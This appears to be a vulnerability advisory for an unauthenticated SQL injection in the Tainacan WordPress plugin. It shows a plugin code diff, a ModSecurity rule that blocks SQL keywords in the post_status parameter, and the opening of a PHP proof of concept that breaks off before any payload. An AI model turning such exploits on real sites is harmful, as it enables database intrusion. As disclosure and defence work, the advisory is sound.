-	private function _build_select($fields) {
-		global $wpdb;
-
-		return $wpdb->prepare( "SELECT $fields FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s", $this->meta_key, $this->get_id() );
-
-	}
-
-	/**
-	 * Sets the status to all items in the current group
-	 *
-	 */
-	public function set_status($value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		$possible_values = ['trash', 'draft', 'publish', 'private', 'pending'];
-
-		// Specific validation
-		if (!in_array($value, $possible_values)) {
-			return new WP_Error( 'invalid_action', __( 'Invalid status', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$query = $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s WHERE ID IN ($select_q)", $value);
-
-		$run = $wpdb->query($query);
-
-		if ($run) {
-			do_action('tainacan-bulk-edit-set-status', $value, $this->get_id(), $select_q, $query);
-		}
-
-		return $run;
-
-	}
-
-	/**
-	 * Adds a value to a metadatum to all items in the current group
-	 * Must be used with a multiple metadatum
-	 *
-	 */
-	public function add_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-		if (!$metadatum->is_multiple()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to add a value to a metadata if it does not accept multiple values', 'tainacan' ) );
-		}
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to add a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		$checkItemMetadata->set_value([$value]);
-
-		if ($checkItemMetadata->validate()) {
-			return $this->_add_value($metadatum, $value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	/**
-	 * Sets a value to a metadatum to all items in the current group.
-	 *
-	 * If metadatum is multiple, it will delete all values item may have for this metadatum and then add
-	 * this value
-	 */
-	public function set_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to set a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		if ( $metadatum->is_multiple() && !is_array($value)) {
-			$value = [$value];
-		}
-		$checkItemMetadata->set_value( $value );
-
-		if ($checkItemMetadata->validate()) {
-			$this->_remove_values($metadatum);
-			return $this->_add_value($metadatum, $value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	/**
-	 * Removes one value from a metadatum of all items in current group
-	 *
-	 * Must be used with multiple metadatum that are not set as required
-	 *
-	 */
-	public function remove_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_required()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to remove a value from a required metadatum', 'tainacan' ) );
-		}
-		if (!$metadatum->is_multiple()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to remove a value from a metadata if it does not accept multiple values', 'tainacan' ) );
-		}
-
-		return $this->_remove_value($metadatum, $value);
-
-
-	}
-
-	/**
-	 * Relplaces a value from one metadata with another value in all items in current group
-	 */
-	public function replace_value(EntitiesMetadatum $metadatum, $new_value, $old_value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to set a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		if ($new_value == $old_value) {
-			return new WP_Error( 'invalid_action', __( 'Old value and new value cannot be the same', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		$checkItemMetadata->set_value( $metadatum->is_multiple() ? [$new_value] : $new_value );
-
-		if ($checkItemMetadata->validate()) {
-			return $this->_replace_value($metadatum, $new_value, $old_value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	public function trash_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$select_insert = "SELECT ID, '_wp_trash_meta_status', post_status FROM $wpdb->posts WHERE ID IN ($select_q)";
-		$select_insert_time = $wpdb->prepare("SELECT ID, '_wp_trash_meta_time', %s FROM $wpdb->posts WHERE ID IN ($select_q)", time());
-
-		$query_original_status = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) $select_insert";
-		$query_trash_time = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) $select_insert_time";
-
-		$wpdb->query($query_original_status);
-		$wpdb->query($query_trash_time);
-
-
-		$query = "UPDATE $wpdb->posts SET post_status = 'trash' WHERE ID IN ($select_q)";
-
-		// TODO trash comments?
-
-		return $wpdb->query($query);
-
-	}
-
-	public function untrash_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		// restore status
-
-		$query_restore = "UPDATE $wpdb->posts SET post_status = (SELECT meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_status' AND post_id = ID) WHERE ID IN ($select_q) AND post_status = 'trash'";
-		$query_delete_meta1 = "DELETE FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_status' AND post_id IN ( SELECT implicitTemp.post_id FROM ($select_q) implicitTemp )";
-		$query_delete_meta2 = "DELETE FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND post_id IN ( SELECT implicitTemp.post_id FROM ($select_q) implicitTemp )";
-
-		$affected = $wpdb->query( $query_restore );
-		$wpdb->query( $query_delete_meta1 );
-		$wpdb->query( $query_delete_meta2 );
-
-		// TODO untrash comments?
-
-		return $affected;
-
-	}
-
-	public function delete_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$security = " AND post_status = 'trash'";
-
-		$query_delete = "DELETE FROM $wpdb->posts WHERE ID IN ($select_q) $security";
-
-		return $wpdb->query($query_delete);
-
-	}
-
-
-	/**
-	 * Adds a value to the current group of items
-	 *
-	 * This method adds value to the database directly, any check or validation must be done beforehand
-	 */
-	private function _add_value(EntitiesMetadatum $metadatum, $value) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				if ( !is_array($value) ) {
-					$value = [$value];
-				}
-
-				foreach ($value as $v) {
-
-					$term = $taxRepo->term_exists($tax, $v, 0, true);
-					$term_id = false;
-
-					if (false === $term) {
-						$term = wp_insert_term($v, $tax->get_db_identifier());
-						if (is_WP_Error($term) || !isset($term['term_taxonomy_id'])) {
-							return new WP_Error( 'error', __( 'Error adding term', 'tainacan' ) );
-						}
-						$term_id = $term['term_taxonomy_id'];
-					} else {
-						$term_id = $term->term_taxonomy_id;
-					}
-
-
-
-					$insert_q = $this->_build_select( $wpdb->prepare("post_id, %d", $term_id) );
-
-					$query = "INSERT IGNORE INTO $wpdb->term_relationships (object_id, term_taxonomy_id) $insert_q";
-
-					$return = $wpdb->query($query);
-
-				}
-
-				return $return;
-
-
-
-				//TODO update term count
-
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			if ( !is_array($value) ) {
-				$value = [$value];
-			}
-
-			foreach ($value as $v) {
-
-				$insert_q = $this->_build_select( $wpdb->prepare("post_id, %s, %s", $metadatum->get_id(), $v) );
-
-				$query = "INSERT IGNORE INTO $wpdb->postmeta (post_id, meta_key, meta_value) $insert_q";
-
-				$affected = $wpdb->query($query);
-
-				if ($type->get_core()) {
-					$field = $type->get_related_mapped_prop();
-					$map_field = [
-						'title' => 'post_title',
-						'description' => 'post_content'
-					];
-					$column = $map_field[$field];
-					$update_q = $this->_build_select( "post_id" );
-					$core_query = $wpdb->prepare( "UPDATE $wpdb->posts SET $column = %s WHERE ID IN ($update_q)", $v );
-
-					$wpdb->query($core_query);
-				}
-
-				$return = $affected;
-
-			}
-
-			return $return; // return last value
-
-
-		}
-
-	}
-
-	/**
-	 * Removes a value from the current group of items
-	 *
-	 * This method removes value from the database directly, any check or validation must be done beforehand
-	 */
-	private function _remove_value(EntitiesMetadatum $metadatum, $value) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				$term = $taxRepo->term_exists($tax, $value, null, true);
-
-				if (!$term) {
-					return 0;
-				}
-
-				if ( !isset($term->term_taxonomy_id) ) {
-					return new WP_Error( 'error', __( 'Term not found', 'tainacan' ) );
-				}
-
-				$delete_q = $this->_build_select( "post_id" );
-
-				$query = $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d AND object_id IN ($delete_q)", $term->term_taxonomy_id );
-
-				return $wpdb->query($query);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$delete_q = $this->_build_select( "post_id" );
-
-			$query = $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s AND post_id IN ( SELECT implicitTemp.post_id FROM ($delete_q) implicitTemp )", $metadatum->get_id(), $value );
-
-			return $wpdb->query($query);
-
-		}
-
-	}
-
-	/**
-	 * Replaces a value in the current group of items
-	 *
-	 * This method replaces a value from the database directly, and adds a new value to all itemsm that had the previous value
-	 *
-	 * TODO: Possible refactor: This method is almost identical to the _add_value method and calls the _remove_value at the end. So it is almost
-	 * the same thing as calling _add_value() and _remove_value() one after another. The only difference is that it does both checks before doing anything to the DB
-	 * and a small change to the insert queries (marked below)
-	 *
-	 */
-	private function _replace_value(EntitiesMetadatum $metadatum, $newvalue, $value) {
-		global $wpdb;
-
-		if ($value == $newvalue) {
-			return new WP_Error( 'error', __( 'New value and old value cannot be the same', 'tainacan' ) );
-		}
-
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-		$type = $metadatum->get_metadata_type_object();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				// check old term
-				$term = $taxRepo->term_exists($tax, $value, null, true);
-
-				if (!$term) {
-					return 0;
-				}
-
-				if (is_WP_Error($term) || !isset($term->term_taxonomy_id)) {
-					return new WP_Error( 'error', __( 'Term not found', 'tainacan' ) );
-				}
-
-				// check new term
-				$newterm = $taxRepo->term_exists($tax, $newvalue, 0, true);
-
-
-				if (false === $newterm) {
-					$newterm = wp_insert_term($newvalue, $tax->get_db_identifier());
-					if (is_WP_Error($newterm) || !isset($newterm['term_taxonomy_id'])) {
-						return new WP_Error( 'error', __( 'Error adding term', 'tainacan' ) );
-					}
-					$newtermid = $newterm['term_taxonomy_id'];
-				} else {
-					$newtermid = $newterm->term_taxonomy_id;
-				}
-
-
-
-				$insert_q = $this->_build_select( $wpdb->prepare("post_id, %d", $newtermid) );
-
-				// only where old_value is present (this is what this method have different from the _add_value())
-				$insert_q .= $wpdb->prepare( " AND post_id IN(SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d)", $term->term_taxonomy_id );
-
-				$query = "INSERT IGNORE INTO $wpdb->term_relationships (object_id, term_taxonomy_id) $insert_q ";
-
-				// Add
-				$wpdb->query($query);
-
-				// Remove
-				return $this->_remove_value($metadatum, $value);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$insert_q = $this->_build_select( $wpdb->prepare("post_id, %s, %s", $metadatum->get_id(), $newvalue) );
-
-			// only where old_value is present (this is what this method have different from the _add_value())
-			$insert_q .= $wpdb->prepare( " AND post_id IN (SELECT post_ID FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s)", $metadatum->get_id(), $value );
-
-			$query = "INSERT IGNORE INTO $wpdb->postmeta (post_id, meta_key, meta_value) $insert_q";
-
-			$affected = $wpdb->query($query);
-
-			if ($type->get_core()) {
-				$field = $type->get_related_mapped_prop();
-				$map_field = [
-					'title' => 'post_title',
-					'description' => 'post_content'
-				];
-				$column = $map_field[$field];
-				$update_q = $this->_build_select( "post_id" );
-				// only where old_value is present (this is what this method have different from the _add_value())
-				$update_q .= $wpdb->prepare( " AND post_id IN (SELECT post_ID FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s)", $metadatum->get_id(), $value );
-
-				$core_query = $wpdb->prepare( "UPDATE $wpdb->posts SET $column = %s WHERE ID IN ($update_q)", $newvalue );
-
-				$wpdb->query($core_query);
-			}
-
-			return $this->_remove_value($metadatum, $value);
-
-		}
-
-	}
-
-	/**
-	 * Removes all values of a metadatum from the current group of items
-	 *
-	 * This method removes value from the database directly, any check or validation must be done beforehand
-	 */
-	private function _remove_values(EntitiesMetadatum $metadatum) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = RepositoriesTaxonomies::get_instance()->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				$delete_q = $this->_build_select( "post_id" );
-				$delete_tax_q = $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE taxonomy = %s" , $tax->get_db_identifier() );
-
-				$query = "DELETE FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($delete_tax_q) AND object_id IN ($delete_q)";
-
-				return $wpdb->query($query);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$delete_q = $this->_build_select( "post_id" );
-
-			$query = $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s AND post_id IN ( SELECT implicitTemp.post_id FROM ($delete_q) implicitTemp )", $metadatum->get_id() );
-
-
-			return $wpdb->query($query);
-
-		}
-
-	}
-
-
-
-}
--- a/tainacan/classes/class-tainacan-private-files.php
+++ b/tainacan/classes/class-tainacan-private-files.php
@@ -50,7 +50,8 @@
 		add_filter('image_get_intermediate_size', [$this, 'image_get_intermediate_size'], 10, 3);
 		add_filter('wp_get_attachment_url', [$this, 'wp_get_attachment_url'], 10, 2);

-		add_action('tainacan-insert', [$this, 'update_item_and_collection']);
+		add_action('tainacan-insert', [$this, 'rename_item_and_collection_folder_path']);
+		add_action('tainacan-deleted', [$this, 'rename_item_and_collection_folder_path'], 10, 2);

 		add_action('tainacan-bulk-edit-set-status', [$this, 'bulk_edit'], 10, 4);

@@ -322,11 +323,19 @@
 	}

 	/**
-	 * When an item or collection is saved, it checks if the satus was changed and
-	 * if the items upload directory mus be renamed to add or remove the
+	 * When an item or collection is saved, it checks if the status was changed and
+	 * if the items upload directory must be renamed to add or remove the
 	 * private folder prefix
-	 */
-	function update_item_and_collection($obj) {
+	 *
+	 * TODO: when deleting an item or collection, the folder must be deleted. However this is challenging because
+	 * we need to build the path with information that may not be available after the deletion.
+	 */
+	function rename_item_and_collection_folder_path($obj, $permanent_delete = false) {
+
+		if ( $permanent_delete ) {
+			// The $obj won't have enough information to build the path
+			return;
+		}

 		$folder = $this->dir_separator;
 		$check_folder = $this->dir_separator;
@@ -344,7 +353,6 @@
 		}

 		if ( $obj instanceof TainacanEntitiesItem ) {
-
 			$collection = $obj->get_collection();
 			$col_status_object = get_post_status_object($collection->get_status());

@@ -363,7 +371,7 @@

 		}

-		if ($check) {
+		if ( $check ) {

 			$upload_dir = wp_get_upload_dir();
 			$base_dir = $upload_dir['basedir'];
@@ -377,7 +385,6 @@

 		}

-
 	}

 	/**
--- a/tainacan/classes/cli/class-tainacan-cli-logs.php
+++ b/tainacan/classes/cli/class-tainacan-cli-logs.php
@@ -0,0 +1,294 @@
+<?php
+namespace Tainacan;
+
+defined( 'ABSPATH' ) or die( 'No script kiddies please!' );
+
+use WP_CLI;
+
+/**
+ * Handles migration of legacy Tainacan logs from wp_posts/wp_postmeta
+ * to the dedicated tainacan_logs table.
+ *
+ * Designed to be called from both WP-CLI commands and Action Scheduler jobs.
+ * Uses _wp_posts_log_migration_ref as an idempotency key so both operations
+ * can be run multiple times safely without side effects.
+ *
+ */
+class Logs_Wp_Posts_Migration {
+
+	/**
+	 * Count how many legacy tainacan-log posts have not yet been migrated.
+	 *
+	 * @return int
+	 */
+	public function count_pending(): int {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(p.ID) FROM {$wpdb->posts} p
+			 LEFT JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log' AND l.ID IS NULL"
+		);
+	}
+
+	/**
+	 * Migrate a single batch of legacy logs to tainacan_logs.
+	 *
+	 * Uses LEFT JOIN on _wp_posts_log_migration_ref so already-migrated
+	 * records are automatically excluded — safe to call repeatedly.
+	 *
+	 * @param int $batch_size Number of records to process in this call.
+	 * @return array { migrated: int, pending: int }
+	 */
+	public function run_batch( int $batch_size = 50 ): array {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+
+		// 1. Fetch a batch of not-yet-migrated wp_posts logs.
+		$posts = $wpdb->get_results( $wpdb->prepare(
+			"SELECT p.ID, p.post_title, p.post_content, p.post_date, p.post_author, p.post_name
+			 FROM {$wpdb->posts} p
+			 LEFT JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log' AND l.ID IS NULL
+			 LIMIT %d",
+			$batch_size
+		) );
+
+		if ( empty( $posts ) ) {
+			return [ 'migrated' => 0, 'pending' => 0 ];
+		}
+
+		// 2. Fetch all relevant postmeta for the batch in one query.
+		$ids    = array_column( $posts, 'ID' );
+		$in_sql = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+		$metas  = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT post_id, meta_key, meta_value FROM {$wpdb->postmeta}
+				 WHERE post_id IN ($in_sql)
+				 AND meta_key IN ('item_id','collection_id','object_id','object_type','old_value','new_value','action')",
+				...$ids
+			)
+		);
+
+		// 3. Index postmeta by post_id for O(1) lookup.
+		$meta_map = [];
+		foreach ( $metas as $meta ) {
+			$meta_map[ $meta->post_id ][ $meta->meta_key ] = $meta->meta_value;
+		}
+
+		// 4. Insert each post into tainacan_logs with the migration reference.
+		$migrated = 0;
+		foreach ( $posts as $post ) {
+			$m      = $meta_map[ $post->ID ] ?? [];
+			$result = $wpdb->insert(
+				$table,
+				[
+					'title'                       => $post->post_title,
+					'date'                        => $post->post_date,
+					'description'                 => $post->post_content,
+					'slug'                        => $post->post_name ?: uniqid( 'tainacan-log-' ),
+					'user_id'                     => absint( $post->post_author ),
+					'item_id'                     => absint( $m['item_id'] ?? 0 ),
+					'collection_id'               => $m['collection_id'] ?? '',
+					'object_id'                   => $m['object_id'] ?? '',
+					'object_type'                 => $m['object_type'] ?? '',
+					'old_value'                   => $m['old_value'] ?? null,
+					'new_value'                   => $m['new_value'] ?? null,
+					'action'                      => $m['action'] ?? '',
+					'user_edit_lastr'             => absint( $post->post_author ),
+					'_wp_posts_log_migration_ref' => absint( $post->ID ),
+				],
+				[ '%s', '%s', '%s', '%s', '%d', '%d', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d' ]
+			);
+
+			if ( false !== $result ) {
+				$migrated++;
+			}
+		}
+
+		return [ 'migrated' => $migrated, 'pending' => $this->count_pending() ];
+	}
+
+	/**
+	 * Count how many already-migrated wp_posts log records are eligible for purging.
+	 *
+	 * @return int
+	 */
+	public function count_purgeable(): int {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(p.ID) FROM {$wpdb->posts} p
+			 INNER JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log'"
+		);
+	}
+
+	/**
+	 * Delete a batch of already-migrated tainacan-log records from wp_posts and wp_postmeta.
+	 *
+	 * Only removes records whose ID is present in tainacan_logs._wp_posts_log_migration_ref,
+	 * so non-migrated logs are never touched. Safe to call repeatedly.
+	 *
+	 * @param int $batch_size Number of records to delete in this call.
+	 * @return array { deleted: int, pending: int }
+	 */
+	public function purge_batch( int $batch_size = 50 ): array {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+
+		// 1. Fetch a batch of migrated post IDs to purge.
+		$ids = $wpdb->get_col( $wpdb->prepare(
+			"SELECT p.ID FROM {$wpdb->posts} p
+			 INNER JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log'
+			 LIMIT %d",
+			$batch_size
+		) );
+
+		if ( empty( $ids ) ) {
+			return [ 'deleted' => 0, 'pending' => 0 ];
+		}
+
+		$in_sql = implode( ',', array_map( 'absint', $ids ) );
+
+		// 2. Delete postmeta first to avoid orphaned rows.
+		$wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($in_sql)" );
+
+		// 3. Delete the wp_posts records.
+		$deleted = $wpdb->query( "DELETE FROM {$wpdb->posts} WHERE ID IN ($in_sql)" );
+
+		return [ 'deleted' => (int) $deleted, 'pending' => $this->count_purgeable() ];
+	}
+}
+
+/**
+ * Manages Tainacan activity log data migration from the legacy wp_posts structure.
+ *
+ * wp tainacan logs migrate          # migra os logs do wp_posts → tainacan_logs
+ * wp tainacan logs migrate --dry-run
+ * wp tainacan logs migrate --batch-size=100 --yes
+ *
+ * wp tainacan logs purge-deprecated            # apaga os registros já migrados do wp_posts
+ * wp tainacan logs purge-deprecated --dry-run
+ * wp tainacan logs purge-deprecated --batch-size=200 --yes
+ */
+class Cli_Logs {
+
+	/**
+	 * Migrate Tainacan activity logs from the legacy wp_posts structure to the dedicated tainacan_logs table.
+	 *
+	 * Safe to run multiple times. Already-migrated records are skipped automatically
+	 * (tracked via _wp_posts_log_migration_ref).
+	 *
+	 * ## OPTIONS
+	 *
+	 * [--batch-size=<number>]
+	 * : Number of logs to process per batch. Default: 50.
+	 *
+	 * [--dry-run]
+	 * : Show how many logs are pending migration without making any changes.
+	 *
+	 * [--yes]
+	 * : Skip the confirmation prompt.
+	 *
+	 * ## EXAMPLES
+	 *
+	 *     wp tainacan logs migrate
+	 *     wp tainacan logs migrate --batch-size=100 --yes
+	 *     wp tainacan logs migrate --dry-run
+	 */
+	public function migrate( $args, $assoc_args ) {
+		$migration  = new Logs_Wp_Posts_Migration();
+		$dry_run    = isset( $assoc_args['dry-run'] );
+		$batch_size = max( 1, absint( $assoc_args['batch-size'] ?? 50 ) );
+
+		$pending = $migration->count_pending();
+
+		if ( 0 === $pending ) {
+			WP_CLI::success( 'No legacy logs found. Nothing to migrate.' );
+			return;
+		}
+
+		WP_CLI::line( sprintf( 'Found %d log(s) pending migration.', $pending ) );
+
+		if ( $dry_run ) {
+			WP_CLI::warning( 'Dry-run mode: no changes were made. Remove --dry-run to execute.' );
+			return;
+		}
+
+		WP_CLI::warning( 'It is strongly recommended you do a backup before running this command.' );
+		WP_CLI::confirm( sprintf( 'Migrate %d log(s) in batches of %d?', $pending, $batch_size ), $assoc_args );
+
+		$total_migrated = 0;
+		$progress       = WP_CLIUtilsmake_progress_bar( 'Migrating logs', $pending );
+
+		do {
+			$result          = $migration->run_batch( $batch_size );
+			$total_migrated += $result['migrated'];
+			$progress->tick( $result['migrated'] );
+		} while ( $result['pending'] > 0 && $result['migrated'] > 0 );
+
+		$progress->finish();
+		WP_CLI::success( sprintf( 'Migration complete. %d log(s) migrated.', $total_migrated ) );
+	}
+
+	/**
+	 * Delete legacy tainacan-log records from wp_posts/wp_postmeta that have already been migrated to tainacan_logs.
+	 *
+	 * Only records whose wp_posts ID is referenced in tainacan_logs._wp_posts_log_migration_ref
+	 * are removed. Non-migrated logs are never touched.
+	 * Safe to run multiple times.
+	 *
+	 * ## OPTIONS
+	 *
+	 * [--batch-size=<number>]
+	 * : Number of records to delete per batch. Default: 50.
+	 *
+	 * [--dry-run]
+	 * : Show how many records are eligible for deletion without making any changes.
+	 *
+	 * [--yes]
+	 * : Skip the confirmation prompt.
+	 *
+	 * ## EXAMPLES
+	 *
+	 *     wp tainacan logs purge-deprecated
+	 *     wp tainacan logs purge-deprecated --batch-size=200 --yes
+	 *     wp tainacan logs purge-deprecated --dry-run
+	 */
+	public function purge_deprecated( $args, $assoc_args ) {
+		$migration  = new Logs_Wp_Posts_Migration();
+		$dry_run    = isset( $assoc_args['dry-run'] );
+		$batch_size = max( 1, absint( $assoc_args['batch-size'] ?? 50 ) );
+
+		$purgeable = $migration->count_purgeable();
+
+		if ( 0 === $purgeable ) {
+			WP_CLI::success( 'No migrated legacy logs found. Nothing to purge.' );
+			return;
+		}
+
+		WP_CLI::line( sprintf( 'Found %d migrated log(s) in wp_posts eligible for deletion.', $purgeable ) );
+
+		if ( $dry_run ) {
+			WP_CLI::warning( 'Dry-run mode: no changes were made. Remove --dry-run to execute.' );
+			return;
+		}
+
+		WP_CLI::warning( 'This will permanently delete records from wp_posts and wp_postmeta. It is strongly recommended you do a backup before running this command.' );
+		WP_CLI::confirm( sprintf( 'Delete %d legacy log record(s) from wp_posts in batches of %d?', $purgeable, $batch_size ), $assoc_args );
+
+		$total_deleted = 0;
+		$progress      = WP_CLIUtilsmake_progress_bar( 'Purging legacy logs', $purgeable );
+
+		do {
+			$result        = $migration->purge_batch( $batch_size );
+			$total_deleted += $result['deleted'];
+			$progress->tick( $result['deleted'] );
+		} while ( $result['pending'] > 0 && $result['deleted'] > 0 );
+
+		$progress->finish();
+		WP_CLI::success( sprintf( 'Purge complete. %d legacy log record(s) deleted from wp_posts.', $total_deleted ) );
+	}
+}
--- a/tainacan/classes/cli/class-tainacan-cli.php
+++ b/tainacan/classes/cli/class-tainacan-cli.php
@@ -43,6 +43,7 @@
 		WP_CLI::add_command('tainacan collection', 'TainacanCli_Collection');
 		WP_CLI::add_command('tainacan index-content', 'TainacanCli_Document');
 		WP_CLI::add_command('tainacan control-metadata', 'TainacanCli_Control_Metadata');
+		WP_CLI::add_command('tainacan lo

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-42740
SecRule REQUEST_URI "@rx ^/wp-json/tainacan/v[0-9]+/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42740 - Tainacan SQL Injection via post_status parameter',severity:'CRITICAL',tag:'CVE-2026-42740'"
  SecRule ARGS:post_status "@rx (?i:(union|select|insert|update|delete|drop|alter|exec|create|truncate|load_file|outfile|dumpfile|into|from|where|or|and).*)" 
    "t:lowercase,t:urlDecode,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42740 - Tainacan <= 1.0.3 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Endpoint vulnerable to SQL injection (example: collections endpoint)
